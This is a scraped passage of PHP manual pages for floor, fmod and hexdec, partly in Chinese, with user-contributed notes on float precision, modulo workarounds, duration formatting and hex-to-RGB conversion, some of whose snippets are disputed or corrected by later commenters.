$int = 0.9999999999999999;
echo floor($int); // returns 0
?>
Glen 01-Dec-2007 01:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jolyon at mways dot co dot uk 10-Aug-2004 09:41
Beware of FLOAT weirdness!

Floats have a mind of their own, and what may look like an integer stored in a float isn't.

Here's a baffling example of how floor can be tripped up by this:

<?php
$price = 79.99;

print $price."\r\n";     // correct result, 79.99 shown

$price = $price * 100;

print $price."\r\n";    // correct result, 7999 shown

print floor($price);    // 7998 shown! what's going on?
?>

The thing to remember here is that the way a float stores a value makes it very easy for these kind of things to happen. When the 79.99 was multiplied by 100, the actual value stored in the float was probably something like 7998.9999999999999999999999999999999999, PHP would print out 7999 when the value is displayed but floor would therefore round this down to 7998.

THe moral of this story - never use float for anything that needs to be accurate! If you're doing prices for products or a shopping cart, then always use an integer and store prices as a number of pence, you'll thank me for this later :)
illyena at musefish dot net 12-May-2004 03:53
For calculating the number of days, hours, minutes and seconds to an event.

<?php
$then = date(mktime(8,0,0,6,25,2004)); //remember that mktime is hour,min,sec,month,day,year
$now = date("U"); // "U" is the number of seconds since the epoch, equivilant to using "YmdHis"

$time = $then - $now; //gets the number of seconds between now and the event
$days = floor($time/86400); //rounds down to the whole number, in this case # of days
echo $days." Days";
$time = $time - ($days*86400); //leaves you with the amount of time ramaining after subtracting the days
$hours = floor($time/3600); //rounds down to the whole number, in this case # of hours
echo $hours." Hours";
$time = $time - ($hours*3600); //leaves you with the amount of time ramaining after subtracting the hours
$min = floor($time/60); //rounds down to the whole number, in this case # of minutes
echo $min." Minutes";
$sec = $time - ($min*60); //leaves you with the amount of time ramaining after subtracting the minutes which is equivilant to the remainins seconds
echo $sec." Seconds";
?>
PHP Helper 20-Dec-2003 02:39
floor basically truncates, or chops off everything to the right of a decimal. For instance, if you have a length of 5.1234, but just wanted the whole number, you could use the following code:

<?php
$length = 5.1234; //this is our original length
$length = floor($length); //length is truncated, original variable name is kept
print "$length"; //this prints our result
?>

This code would print the following: 5

Now, although there is a specific function in PHP for rounding, rounding can also be performed with the floor function. Let's say we wanted to round the length to the hundredths place.

<?php
$length = 5.1234;
$length = floor(($length) * 100 + .5) * .01;
print "$length";
?>

The result is: 5.12

This works because, first, the length is multiplied by 100, which moves the decimal point to the right two places, giving us the value of 512.34. Next .5 is added to the length, which gives us a value of 512.84. Then the floor function truncates the value, leaving us with 512. Lastly, to compensate for multiplying by 100 earlier, now we must divide by 100, or in this case, multiply by .01. This moves the decimal point back 2 places to it's original place and gives us the rounded value of 5.12.

We can also round to other values, such as the thousandths, by adjusting the code as follows:

<?php
$length = 5.1234;
$length = floor(($length) * 1000 + .5) * .001;
print "$length";
?>

Result: 5.123
10-Sep-2002 03:08
mathematical functions lack a floating point version of the modulo operation, which returns the difference between the floor() of the argument and the argument itself:

<?php
function fmod($value) {
  return $value - floor($value);
}
?>

Very useful with trigonometric functions to reduce the angle argument to a circle that includes angle 0.

Useful also to reduce an arbitrarily large floating point value into an entropy source, by first transforming this value into a pair using logarithm functions with distinct bases (add 1 if the function can return 0, to avoid floating point errors with logarithms!):

<?php
$f = 1 + @disk_free_space("/tmp");
$r = (int)(fmod(Log($f)) * 0x7FFFFFFF)
^ (int)(fmod(Log10($f)) * 0x7FFFFFFF)
?>

Then $r can be used as a good entropy source, if the free space in your temporary folder used by PHP is constantly evolving within a large range of values.

You can combine this value by xoring it with other values such as time(), (int)microtime(), ip2long($_SERVER['REMOTE_ADDR'], $_SERVER['REMOTE_PORT'], getmypid(), ...


返回除法的浮点数余数

  • ? floor
  • hexdec ?
  • PHP Manual
  • Math 函数
  • 返回除法的浮点数余数

fmod

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

fmod — 返回除法的浮点数余数

说明

fmod(float $num1, float $num2): float

返回被除数（num1）除以除数（num2）所得的浮点数余数。余数（r）的定义是：num1 = i * num2 + r，其中 i 是整数。如果 num2 是非零值，则 r 和 num1 的符号相同并且其数量值小于 num2。

参数

num1

被除数

num2

除数

返回值

num1/num2 的浮点数余数。

示例

Example #1 fmod() 的使用

<?php
$x = 5.7;
$y = 1.3;
$r = fmod($x, $y);
// $r equals 0.5, because 4 * 1.3 + 0.5 = 5.7
?>

参见

  • /——浮点除法
  • %——整数取模
  • intdiv()——整数除法

User Contributed Notes

radoslaw dot roszkowski at gmail dot com 20-Jun-2018 11:43
Do not relly on that function, for example:

$a = "7.191"
$b =  "2.397000"

if(fmod(floatval($a), floatval($b)) === 0.0) {
..
//is false, becouse
//float(4.4408920985006E-16) != 0.0
dan danschafer net 30-May-2018 03:26
WARNING: Due to how floating point numbers work, fmod() and any simple alternatives are problematic when there is either a massive orders of magnitude different between the input $x and $y, or the input and output values. If you need to work with large numbers or arbitrary precision, it is best to work with something like BC Math or GMP.

When working around fmod()'s problems, remember that floor() always goes towards -INF, not 0. This causes a commonly proposed fmod() alternative to only work with positive numbers:
<?php
function fmod_positive_only($x, $y) {
    return $x - floor($x/$y) * $y;
}
?>
Given these simplistic input values:
fmod_positive_only(-5, 3) = 1 (wrong)
-5 % 3 = -2 (correct)

Correctly removing the decimal part of the quotient can be achieved with either casting to an int (always goes towards zero) or dynamically choosing ceil() or floor(). Dynamically choosing floor or ceil in an attempt to keep precision is overkill. If your $x and $y values are so different that it suffers from an overflow problem when casting, it was probably going to have precision problems anyway (see warnings below).

<?php
function fmod_overkill($x, $y) {
    if (!$y) { return NAN; }
    $q = $x / $y;
    $f = ($q < 0 ? 'ceil' : 'floor');
    return $x - $f($q) * $y;
}
?>

This is the "best" alternative for fmod() when given "normal" numbers.
<?php
function fmod_alt($x, $y) {
    if (!$y) { return NAN; }
    return floatval($x - intval($x / $y) * $y);
}
?>

WARNING: Even when you get a non-zero response, know your input numbers and when fmod() can go wrong. For large values or depending on your input variable types, float still may not contain enough precision to get back the correct answer. Here are a few problems with fmod() and their alternatives.

PHP_INT_MAX = 9223372036854775807
fmod(PHP_INT_MAX, 2) = 0 (wrong)
fmod_alt(PHP_INT_MAX, 2) = 0 (wrong)
PHP_INT_MAX % 2 = 1 (correct)

fmod(PHP_INT_MAX, PHP_INT_MAX - 1) = 0 (wrong)
fmod_alt(PHP_INT_MAX, PHP_INT_MAX - 1) = 1 (correct)
fmod_alt(PHP_INT_MAX, PHP_INT_MAX - 1.0) = 0 (wrong)
PHP_INT_MAX % (PHP_INT_MAX - 1) = 1 (correct)
PHP_INT_MAX % (PHP_INT_MAX - 1.0) = 9223372036854775807 (wrong)

fmod(PHP_INT_MAX, 131) =  98 (wrong)
fmod_alt(PHP_INT_MAX, 131) = 359 (wrong)
fmod_positive_only(PHP_INT_MAX, 131) = 0 (wrong)
PHP_INT_MAX % 131 = 97 (correct)
nospam at neonit dot de 04-Jan-2017 10:11
Note that fmod does not behave like a similar function written in PHP itself does due to the lack of fixing floating point representation errors.

Have a look at this:
<?php
var_dump(10 / (10 / 3) === 3.0); // bool(true)
var_dump(fmod(10, 10 / 3)); // float(3.3333333333333)
var_dump(fmod(10, 10 / 3) < 10 / 3); // bool(true)
?>

Internally there is no way of exactly representing the result of 10 / 3, so it will always be a bit above or below the actual result. In this case, the example proves it being a bit above the actual result.

PHP seems quite good at auto-fixing floating point representation errors so they behave like the user would expect it. That's why the first line yields true, although the result is slightly below 3 (like 2.9999999999[something]). I failed to trick PHP into rounding or cropping the result to 2.

However, fmod seems to not apply these fixes during calculations. From 10 / 3 it gets a value slightly below 3, floors it to 2 and returns 10 - 2 * 10 / 3, which is slightly less than the actual result of 10 / 3, but looks like 10 / 3 (third line).

Unfortunately, this is not the expected result. See other notes for high quality fixes.
timo underscore teichert at yahoo dot de 27-Oct-2014 01:40
The behaviour of this function seems to have changed over time.

<?php

echo fmod(3,5);
// php 5.3.2 outputs -2
// php 5.3.8 outputs 3

echo fmod(2,5);
// php 5.3.2 outputs 2
// php 5.3.8 outputs 2

?>

- Timo
KRAER 28-Jan-2014 11:23
To create a list of primes in a bash based on php wich can be resumed after breaking I did use fmod() and some snippets offered by two more users here on php comments.

This will output :
"prime;difference-between-last-and-current-prime"

So credit goes to them. I only did the logfile output.

This will function up to whatever fmod supports as highest value. Just enter the $end value. And do a touch to the logfile followed by chmod 666 so php can access it.

<?php
function tailCustom($filepath, $lines = 1, $adaptive = true) {

        // Open file
        $f = @fopen($filepath, "rb");
        if ($f === false) return false;

        // Sets buffer size
        if (!$adaptive) $buffer = 4096;
        else $buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));

        // Jump to last character
        fseek($f, -1, SEEK_END);

        // Read it and adjust line number if necessary
        // (Otherwise the result would be wrong if file doesn't end with a blank line)
        if (fread($f, 1) != "\n") $lines -= 1;

        // Start reading
        $output = '';
        $chunk = '';

        // While we would like more
        while (ftell($f) > 0 && $lines >= 0) {

            // Figure out how far back we should jump
            $seek = min(ftell($f), $buffer);

            // Do the jump (backwards, relative to where we are)
            fseek($f, -$seek, SEEK_CUR);

            // Read a chunk and prepend it to our output
            $output = ($chunk = fread($f, $seek)) . $output;

            // Jump back to where we started reading
            fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);

            // Decrease our line counter
            $lines -= substr_count($chunk, "\n");

        }

        // While we have too many lines
        // (Because of buffer size we might have read too many)
        while ($lines++ < 0) {

            // Find first newline and remove all text before that
            $output = substr($output, strpos($output, "\n") + 1);

        }

        // Close file and return
        fclose($f);
        return trim($output);

    }

function isPrime( $num )
{
    for( $i = 2; $i*$i <= $num; $i++ )
        if( !fmod($num,$i) )
            return FALSE;

    return TRUE;
}

$logfile = 'prim_save.log';

$lastline = explode(";", tailCustom($logfile));
$begin = ($lastline[0] +1);
$lastprime = $lastline[0];

$end = 999999999999999999999999999999999999;

$fp = fopen($logfile, 'a');
//Lineformat    $i.';'.$difference.';'."\n"

for($i = $begin; $i<$end; $i++)
{
    if(isPrime($i) == TRUE)
    {
        $difference = $i - $lastprime;
        fputs($fp,$i.';'.$difference.';'."\n");
        $lastprime = $i;
    }
}

fclose($fp);
?>
Adrien Gibrat 05-Jul-2013 10:33
There is an elegant way to do compute gcm :
https://en.wikipedia.org/wiki/Greatest_common_divisor

    // Recursive function to compute gcd (euclidian method)
    function gcd ($a, $b) {
        return $b ? gcd($b, $a % $b) : $a;
    }
    // Then reduce any list of integer
    echo array_reduce(array(42, 56, 28), 'gcd'); // === 14

If you want to work with floating points, use approximation :

    function fgcd ($a, $b) {
        return $b > .01 ? fgcd($b, fmod($a, $b)) : $a; // using fmod
    }
    echo array_reduce(array(2.468, 3.7, 6.1699), 'fgcd'); // ~= 1.232

You can use a closure in PHP 5.3 :

    $gcd = function ($a, $b) use (&$gcd) { return $b ? $gcd($b, $a % $b) : $a; };
verdy_p 12-Dec-2012 02:38
Note that fmod is NOT equivalent to this basic function:

<?php
 function modulo($a, $b) {
    return $a - $b * floor($a / $b);
 }
?>

because fmod() will return a value with the same sign as $a. In other words the floor() function is not correct as it rounds towards -INF instead of towards zero.

To emulate fmod($a, $b) the correct way is:

<?php
 function fmod($a, $b) {
   return $a - $b * (($b < 0) ? ceil($a / $b) : floor($a / $b)));
 }
?>

Note that both functions will throw a DIVISION BY ZERO if $b is null.

The first function modulo() above is the mathematical function which is useful for working on cyclic structures (such as calender computions or trignonometric functions :

- fmod($a, 2*PI) returns a value in [0..2*PI) if $a is positive
- fmod($a, 2*PI) returns a value in [-2*PI..0] if $a is negative
- modulo($a, 2*PI) returns a value always in [0..2*PI) independantly of the sign of $a
dePijd 10-Feb-2010 06:37
This class ran through several unit tests and fixes all failures found in bugs.php.net

<?php
abstract class MyNumber {
    public static function isZero($number, $precision = 0.0000000001)
    {
        $precision = abs($precision);
        return -$precision < (float)$number && (float)$number < $precision;
    }
    public static function isEqual($number1, $number2)
    {
        return self::isZero($number1 - $number2);
    }
    public static function fmod($number1, $number2)
    {
        $rest = fmod($number1, $number2);
        if (self::isEqual($rest, $number2)) {
            return 0.0;
        }
        if (mb_strpos($number1, ".") === false) {
            $decimals1 = 0;
        } else {
            $decimals1 = mb_strlen($number1) - mb_strpos($number1, ".") - 1;
        }
        if (mb_strpos($number2, ".") === false) {
            $decimals2 = 0;
        } else {
            $decimals2 = mb_strlen($number2) - mb_strpos($number2, ".") - 1;
        }
        return (float)round($rest, max($decimals1, $decimals2));
    }
}
?>
linkboss at gmail dot com 18-Oct-2009 05:49
You can also use the modulo operator '%', which returns the same result :

<?php
$var1 = 5;
$var2 = 2;

echo $var1 % $var2; //Returns 1
echo fmod($var1,$var2); //Returns the same
?>
matrebatre 20-May-2008 12:09
I always use this:

function modulo($n,$b) {
return $n-$b*floor($n/$b);
}

And it appears to work correctly.
ysangkok at gmail dot com 01-Jul-2007 09:37
Please note that this:
<?php
function custom_modulo($var1, $var2) {
  $tmp = $var1/$var2;

  return (float) ( $var1 - ( ( (int) ($tmp) ) * $var2 ) );
}

$par1 = 1;
$par2 = 0.2;

echo "fmod:          ";
var_dump(fmod ( $par1 , $par2 ));
echo "custom_modulo: ";
var_dump(custom_modulo ( $par1 , $par2 ));
?>

gives this:

fmod:          float(0.2)
custom_modulo: float(0)

Fmod does not deliver the desired result, therefore I made my own.
cory at lavacube dot net 08-Dec-2005 10:13
I don't believe that is correct.

Try this out using your patch:
<?php

echo duration( mktime(0, 0, 0, 1, 0, 2006)-time() );

?>

As of right now, this will read:
1 month, 22 days, 24 hours, 49 minutes, 15 seconds

Which is completely incorrect. Seeing as how it is the 9th of December.

The real real flaw here is how the 'year' and 'month' periods are calculated. As most months vary in length...

Thank you very much SnakeEater251 for pointing this out.

The quickest way to get slightly more accurate results, is to use averages based on one "true" year, which is 365.25 days.

Change the year and month to:
      'year'       => 31557600, // one 'true year' (365.25 days)
      'month'    => 2629800, // one 'true year' divided by 12 :-)

I will work on developing a true fix, for pin-point accuracy. ;-)

 - Cory Christison
SnakeEater251 26-Nov-2005 10:16
Note on the code given by cory at lavacube dot net.
You will recieve better results by not using floor and using round instead. As you continue increasing to larger amounts of time you will notice that the outputted time is off by large amounts.

so instead of $temp = floor( $int_seconds / $length );
we would use  $temp = round( $int_seconds / $length );

<?php

function duration( $int_seconds=0, $if_reached=null )
{
   $key_suffix = 's';
   $periods = array(
                   'year'        => 31556926,
                   'month'        => 2629743,
                   'day'        => 86400,
                   'hour'        => 3600,
                   'minute'    => 60,
                   'second'    => 1
                   );

   // used to hide 0's in higher periods
   $flag_hide_zero = true;

   // do the loop thang
   foreach( $periods as $key => $length )
   {
       // calculate
       $temp = round( $int_seconds / $length );

       // determine if temp qualifies to be passed to output
       if( !$flag_hide_zero || $temp > 0 )
       {
           // store in an array
           $build[] = $temp.' '.$key.($temp!=1?'s':null);

           // set flag to false, to allow 0's in lower periods
           $flag_hide_zero = false;
       }

       // get the remainder of seconds
       $int_seconds = fmod($int_seconds, $length);
   }

   // return output, if !empty, implode into string, else output $if_reached
   return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>
cory at lavacube dot net 26-Nov-2005 12:38
A more formal way for generating duration strings:

<?php

function duration( $int_seconds=0, $if_reached=null )
{
    $key_suffix = 's';
    $periods = array(
                    'year'        => 31556926,
                    'month'        => 2629743,
                    'day'        => 86400,
                    'hour'        => 3600,
                    'minute'    => 60,
                    'second'    => 1
                    );

    // used to hide 0's in higher periods
    $flag_hide_zero = true;

    // do the loop thang
    foreach( $periods as $key => $length )
    {
        // calculate
        $temp = floor( $int_seconds / $length );

        // determine if temp qualifies to be passed to output
        if( !$flag_hide_zero || $temp > 0 )
        {
            // store in an array
            $build[] = $temp.' '.$key.($temp!=1?'s':null);

            // set flag to false, to allow 0's in lower periods
            $flag_hide_zero = false;
        }

        // get the remainder of seconds
        $int_seconds = fmod($int_seconds, $length);
    }

    // return output, if !empty, implode into string, else output $if_reached
    return ( !empty($build)?implode(', ', $build):$if_reached );
}

?>

Simple use:
<?php

    echo duration( mktime(0, 0, 0, 1, 1, date('Y')+1) - time(), 'Some fancy message to output if duration is already met...' );

?>

Enjoy. :-)
cory at simplesystems dot ca 22-Nov-2005 05:39
Just a note on the previous note by Ryan Means:

Instead of using explode() to get the number before the decimal point, would be to use floor()... floor() rounds fractions down, which is exactly what is needed.

His same example using floor();

<?PHP
$totalsec=XXXXXXX; //Replace the X's with a int value of seconds

$daysarray = floor( $totalsec/86400 );

$partdays = fmod($totalsec, 86400);
$hours = floor( $partdays/3600 );

$parthours = fmod($partdays, 3600);
$min = floor( $parthours/60 );

$sec = fmod($parthours, 60);

echo "days " . $days . "<br>";
echo "hours " . $hours . "<br>";
echo "minutes " . $min . "<br>";
echo "seconds " . $sec . "<br>";
?>
rocan 19-Feb-2005 06:10
john at digitizelife dot com:

Well not sure how your comment applys to fmod..

but their is a sure simpler way of coping with situations like this..

its called a bit field (bit masking)

e.g.

/* Categories */
bin     dec   cat
0001 - 1 - Blue
0010 - 2 - Red
0100 - 4 - Green
1000 - 8 - Yellow

/* Permissions */
0010 - 2   - Bob
0101 - 5    - John
1011 - 11  - Steve
1111-  15 - Mary

to find out the permissions for each user you simple need to do a bitwise AND

$steve_auth=11;

function get_perm($auth)
{
    $cats["Blue"]=1;
    $cats["Red"]=2;
    $cats["Green"]=4;
    $cats["Yellow"]=8;
    $perms=array();
    foreach($cats as $perm=>$catNum)
    {
          if($auth & $catNum)
                $perms[$perm]=true;

    }

    return $perms;
}

print_r(get_perm($steve_auth));
/*
returns
Array
(
    [Blue] => 1
    [Red] => 1
    [Yellow] => 1
)
*/

This is far simpler than your prime number idea, in fact you dont even need a function in any tests for the permmsions on a user you can do them directly using the bitwise and operator.

You may want to read the following

http://en.wikipedia.org/wiki/Bitmask
http://uk2.php.net/manual/en/language.operators.bitwise.php
jphansen at uga dot edu 10-Jan-2005 11:44
fmod() does not mirror a calculator's mod function. For example, fmod(.25, .05) will return .05 instead of 0 due to floor(). Using the aforementioned example, you may get 0 by replacing floor() with round() in a custom fmod().

<?
function fmod_round($x, $y) {
    $i = round($x / $y);
    return $x - $i * $y;
}

var_dump(fmod(.25, .05)); // float(0.05)
var_dump(fmod_round(.25, .05)); // float(0)
?>
konstantin at rekk dot de 27-May-2004 08:10
If you need to reduce an integer to zero if zero and 1 if not, you can use

$sign = (integer)(boolean)$integer;

instead of

$sign = $integer > 0 ? 1 : 0;

it is faster from 100 operations on (at least on my machine).
alex at xelam dot net 16-Feb-2004 01:19
Integer Modulo

If you want the remainder of the division of two Integers rather than Floats, use "%"; eg:

<?php
$a = 4;
$b = 3;

print($a % $b);
?>

Will output "1".
picaune at hotmail dot com 09-Mar-2003 03:57
NAN (.net Equivalent = Double.NaN) means "Not-a-Number".
Some ways to get NaN are modulo 0, and square root of 0.


十六进制转换为十进制

  • ? fmod
  • hypot ?
  • PHP Manual
  • Math 函数
  • 十六进制转换为十进制

hexdec

(PHP 4, PHP 5, PHP 7, PHP 8)

hexdec — 十六进制转换为十进制

说明

hexdec(string $hex_string): int|float

返回与 hex_string 参数所表示的十六进制数等值的的十进制数。hexdec() 将一个十六进制字符串转换为十进制数。

hexdec() 会忽略它遇到的任意非十六进制的字符。自 PHP 7.4.0 起，弃用使用任何无效字符。

参数

hex_string

要转换的十六进制的字符串

返回值

hex_string 十进制的表示

更新日志

版本 | 说明
7.4.0 | 传递任何无效字符现在将生成弃用通知。但仍会计算结果，就好像无效字符不存在一样。

示例

Example #1 hexdec() 示例

<?php
var_dump(hexdec("See"));
var_dump(hexdec("ee"));
// both print "int(238)"

var_dump(hexdec("that")); // print "int(10)"
var_dump(hexdec("a0")); // print "int(160)"
?>

注释

Note:

此函数可以将太大的数字转换为适应平台的 int 类型，在这种情况下，较大值将会作为 float 返回。

参见

  • dechex() - 十进制转换为十六进制
  • bindec() - 二进制转换为十进制
  • octdec() - 八进制转换为十进制
  • base_convert() - 在任意进制之间转换数字

User Contributed Notes

helpmedalph at gmail dot com 02-May-2016 02:31
function hex2rgb($hex) {
    if ($hex[0]=='#') $hex = substr($hex,1);
    if (strlen($hex)==3){
        $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2];
    }
    $int = hexdec($hex);
    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
sneskid at hotmail dot com 24-Mar-2012 02:50
If you want to create or parse signed Hex strings:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test
$h = sdechex(-123); // string(3) "-7b"
$d = shexdec($h);   // int(-123)
var_dump($h, $d);
?>

Also note that ('0x' . $hexstr + 0) is faster than hexdec()
(Tested on PHP v5.2.17)
programacion at mundosica dot com 06-Dec-2011 09:50
Here is other function to transform a MAC Address to decimal:

<?php
function get_mac_decimal($mac) {
    $clear_mac = preg_replace('/[^0-9A-F]/i','',$mac);
    $mac_decimal = array();
    for ($i = 0; $i < strlen($clear_mac); $i += 2 ):
        $mac_decimal[] = hexdec(substr($clear_mac, $i, 2));
    endfor;
    return implode('.',$mac_decimal);
}
?>
andy at haveland dot com 24-Oct-2010 10:55
Here's a short example to convert strings between hex and chars:

<?php
print hextostr("616E647940686176656C616E642E636F6D")."\n";

print strtohex("Knowledge is power")."\n";

function hextostr($x) {
  $s='';
  foreach(explode("\n",trim(chunk_split($x,2))) as $h) $s.=chr(hexdec($h));
  return($s);
}

function strtohex($x) {
  $s='';
  foreach(str_split($x) as $c) $s.=sprintf("%02X",ord($c));
  return($s);
}
?>
hafees at msn dot com 19-Aug-2010 03:31
Use this function to convert a hexa decimal color code to its RGB equivalent. Unlike many other functions provided here, it will work correctly with hex color short hand notation.

Also, if a proper hexa decimal color value is given (6 digits), it uses bit wise operations for faster results.

For eg: #FFF and #FFFFFF will produce the same result

<?php
/**
 * Convert a hexa decimal color code to its RGB equivalent
 *
 * @param string $hexStr (hexadecimal color value)
 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
 */
function hex2RGB($hexStr, $returnAsString = false, $seperator = ',') {
    $hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
    $rgbArray = array();
    if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
        $colorVal = hexdec($hexStr);
        $rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
        $rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
        $rgbArray['blue'] = 0xFF & $colorVal;
    } elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
        $rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
        $rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
        $rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
    } else {
        return false; //Invalid hex color code
    }
    return $returnAsString ? implode($seperator, $rgbArray) : $rgbArray; // returns the rgb string or the associative array
} ?>

OUTPUT:

hex2RGB("#FF0") -> array( red =>255, green => 255, blue => 0)
hex2RGB("#FFFF00) -> Same as above
hex2RGB("#FF0", true) -> 255,255,0
hex2RGB("#FF0", true, ":") -> 255:255:0
Rosberg - rosberglinhares at gmail dot com 06-May-2010 08:45
The correct version is:

function bchexdec($hex) {
    static $hexdec = array(
        "0" => 0,
        "1" => 1,
        "2" => 2,
        "3" => 3,
        "4" => 4,
        "5" => 5,
        "6" => 6,
        "7" => 7,
        "8" => 8,
        "9" => 9,
        "A" => 10,
        "B" => 11,
        "C" => 12,
        "D" => 13,
        "E" => 14,
        "F" => 15
    );

    $dec = 0;

    for ($i = strlen($hex) - 1, $e = 1; $i >= 0; $i--, $e = bcmul($e, 16)) {
        $factor = $hexdec[$hex[$i]];
        $dec = bcadd($dec, bcmul($factor, $e));
    }

    return $dec;
}
flurinj at gmx dot net 06-Apr-2010 07:13
Here My version of converting a hex string to a signed decimal value:

<?php

function hexdecs($hex)
{
    // ignore non hex characters
    $hex = preg_replace('/[^0-9A-Fa-f]/', '', $hex);

    // converted decimal value:
    $dec = hexdec($hex);

    // maximum decimal value based on length of hex + 1:
    //   number of bits in hex number is 8 bits for each 2 hex -> max = 2^n
    //   use 'pow(2,n)' since '1 << n' is only for integers and therefore limited to integer size.
    $max = pow(2, 4 * (strlen($hex) + (strlen($hex) % 2)));

    // complement = maximum - converted hex:
    $_dec = $max - $dec;

    // if dec value is larger than its complement we have a negative value (first bit is set)
    return $dec > $_dec ? -$_dec : $dec;
}

?>
Halit YEL - halityesil at globya dot net 02-Oct-2009 01:30
RGB to Hex
Hex to RGB
Function

<?PHP

function rgb2hex2rgb($c){
   if(!$c) return false;
   $c = trim($c);
   $out = false;
  if(preg_match("/^[0-9ABCDEFabcdef\#]+$/i", $c)){
      $c = str_replace('#','', $c);
      $l = strlen($c) == 3 ? 1 : (strlen($c) == 6 ? 2 : false);

      if($l){
         unset($out);
         $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,1*$l));
         $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 1*$l,1*$l));
         $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 2*$l,1*$l));
      }else $out = false;

   }elseif (preg_match("/^[0-9]+(,| |.)+[0-9]+(,| |.)+[0-9]+$/i", $c)){
      $spr = str_replace(array(',',' ','.'), ':', $c);
      $e = explode(":", $spr);
      if(count($e) != 3) return false;
         $out = '#';
         for($i = 0; $i<3; $i++)
            $e[$i] = dechex(($e[$i] <= 0)?0:(($e[$i] >= 255)?255:$e[$i]));

         for($i = 0; $i<3; $i++)
            $out .= ((strlen($e[$i]) < 2)?'0':'').$e[$i];

         $out = strtoupper($out);
   }else $out = false;

   return $out;
}

?>

Output

#FFFFFF =>
 Array{
   red=>255,
   green=>255,
   blue=>255,
   r=>255,
   g=>255,
   b=>255,
   0=>255,
   1=>255,
   2=>255
 }

#FFCCEE =>
 Array{
   red=>255,
   green=>204,
   blue=>238,
   r=>255,
   g=>204,
   b=>238,
   0=>255,
   1=>204,
   2=>238
 }
CC22FF =>
 Array{
   red=>204,
   green=>34,
   blue=>255,
   r=>204,
   g=>34,
   b=>255,
   0=>204,
   1=>34,
   2=>255
 }

0 65 255 => #0041FF
255.150.3 => #FF9603
100,100,250 => #6464FA

[EDIT BY danbrown AT php DOT net - Contains multiple bugfixes by (ajim1417 AT gmail DOT com) on 27-JAN-2010: Replaces typo in explode() and updates eregi() calls to preg_match().]
jose dot rob dot jr at gmail dot com 15-Aug-2009 08:13
I made these functions to pack up to 64 ID's into a mysql unsigned bigint.

ID's cannot repeat, must be <= bit's limit and > 0.

The functions uses php 32 bit's int as unsigned because we don't actually read the number, just the bits. Then 0xFFFFFFFF display -1 but the bit's are there (tested with linux 2.6 i686 and x86_64)

---

This is an other way to make hex to bin conversions:

<?php
function hexbin($hex, $padding = false)
{
    // Validation
    $hex = preg_replace('/^(0x|X)?/i', '', $hex);
    $hex = preg_replace('/[[:blank:]]/', '', $hex);
    if(empty($hex))
    {
        $hex = '0';
    }
    if(!preg_match('/^[0-9A-F]*$/i', $hex))
    {
        trigger_error('Argument is not a hex', E_USER_WARNING);
        return false;
    }

    // Conversion
    $bin = '';
    $hex = array_reverse(str_split($hex));
    foreach($hex as $n)
    {
        $n = hexdec($n);
        for($i = 1; $i <= 8; $i <<= 1)
        {
            $bin .= ($i & $n)? '1' : '0';
        }
        if($padding)
        {
            $bin .= ' ';
        }
    }
    return ltrim(strrev($bin));
}

// Tests
echo "<b>Debug:</b> <pre>";

// Randomly choosed padded number
var_dump(hexbin('00FF FF8F 7F3F FF1F', true));
// string(79) "0000 0000 1111 1111 1111 1111 1000 1111 0111 1111 0011 1111 1111 1111 0001 1111"

// Yellow RGB
var_dump(hexbin('0xF8F800'));
// string(24) "111110001111100000000000"

// Green RGB (padded)
var_dump(hexbin('0x008800', true));
//string(29) "0000 0000 1000 1000 0000 0000"

die("\n<br>debug");

?>

Have fun ;D
Ultimater at gmail dot com 19-Apr-2009 01:54
hexdec doesn't accept numbers following the period.
What if you have a number like c20.db18?
<?php
function floatinghexdec($str)
{
    list($intgr,$hex)=explode('.',$str,2);
    $intgr=ereg_replace("[^A-Fa-f0-9]", "", $intgr);
    $hex=ereg_replace("[^A-Fa-f0-9]", "", $hex);
    $answer=0;
    for($i=0;$i < strlen($hex); $i++)
    {
        $digit=hexdec(substr($hex,$i,1))/16;   // .f is 15/16 because in decimal .9 is 9/10
        $answer += $digit/pow(16,$i);
    }
return hexdec($intgr)+$answer;
}

echo floatinghexdec("ff.ff");//255.99609375
?>
chuckySTAR 15-Apr-2009 01:55
Here's my hexdec function for greater numbers using BC Math

<?php
function bchexdec($hex)
{
    $len = strlen($hex);
    for ($i = 1; $i <= $len; $i++)
        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));

    return $dec;
}

echo bchexdec('ffffffffffffffffffffffffffffffff') . "\n" . (pow(2, 128));
?>
joquius at kakugo dot com 24-Sep-2008 06:12
Help a hex-stricken string get back to normal:

<?php
$str = preg_replace_callback ("/%([a-zA-Z0-9]{2})/", create_function ('$matches', 'return chr (hexdec ($matches[1]));'), $str);
?>
this1is4me at hotmail dot com 27-May-2008 02:46
In reply to Amit Yadav's post (hex to binary conversion):

function binfromdec($num)
{
  $primary = "bit";
  for ($i=1; $i<=16; $i++)
    ${$primary.$i} = 0;

  if ($num & 32768)   $bit16  = 1;
